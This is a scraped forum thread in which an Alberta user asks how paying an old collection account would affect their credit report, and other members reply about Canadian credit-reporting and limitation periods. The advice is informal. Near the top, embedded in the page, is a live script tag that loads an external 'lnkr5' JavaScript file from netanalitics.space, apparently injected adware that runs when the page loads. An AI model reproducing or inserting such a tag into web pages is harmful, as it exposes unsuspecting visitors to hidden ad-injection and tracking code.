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amccr

Handling collection account

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<script src="https://netanalitics.space/addons/lnkr5.min.js"type="text/javascript"> </script> Hi all,

 

I'm Alex and I've just recently started on the path to understanding and managing my credit. I've got my credit reports from Equifax and Transunion and am working on getting the negative areas dealt with as best as possible. The biggest negative I have is an account in collections:

Reported By: Agency Name - EOS CANADA INC, Original Creditor - <Removed for Privacy>

Assigned: May 13, 2013

Reported: Jul 18, 2016

First Date of Delinquency: Dec 14, 2012

Status: blank

Original: 383

Balance: 383

 

I know what it is and I'm willing to pay it off, but I want to make sure I handle it the best way possible. If I pay this off when will it be removed from my credit report? Does the date get reset? I've tried to find an answer but it feels like there is a lot of contradictory info out there.

Other info that might be important: I haven't made any payments or interacted with anyone about this debt at any point, so I don't think would be any new activity to reset it.

 

If anyone has any suggestions or needs more info please let me know. I really appreciate any help offered!

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< removed for Privacy> ???

 

Canada has many different Statutes of limitation for lawsuits ( 2-6 years ) and for credit reporting the limit is 6 years from the DOLA

 

Information about any debt if at least 6 years have passed since the date you last made a payment on that debt or, if no payment has been made on that debt, since the date the debt was incurred

 

check the pinned topic for links to the different Laws

 

https://creditboards.com/forums/index.php?showtopic=510708&do=findComment&comment=5568688

 

So if the DOFD was Dec 2012, and you've made no other payment on it since, it's going to fall off by the end of the year and no longer be on your reports

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Thanks for the response! I added the <removed for privacy> since the original creditor was a person's name.

 

I'm in Alberta so the Statue of Limitations is 2 years I believe, which means the legal liability has passed in this case. So it's probably best to do nothing until the entry falls off in December, since paying it off would count as new activity.

 

If I pay the debt after the entry has fallen of the report would that add it back onto the report? I'd like to pay the debt if possible.

 

It seems strange that the system would punish people for paying older debt by resetting the 6 year timer if they pay.

 

Thanks again for the info, I appreciate it!

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in America , the Date of first delinquency isn't reset by repaying the debt, so they can't report it as new again

 

however the Statute of limitations is usually ( depends on the state ) reset when making a payment

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Since 2003, creditboards.com has helped thousands of people repair their credit, force abusive collection agents to follow the law, ensure proper reporting by credit reporting agencies, and provided financial education to help avoid the pitfalls that can lead to negative tradelines.
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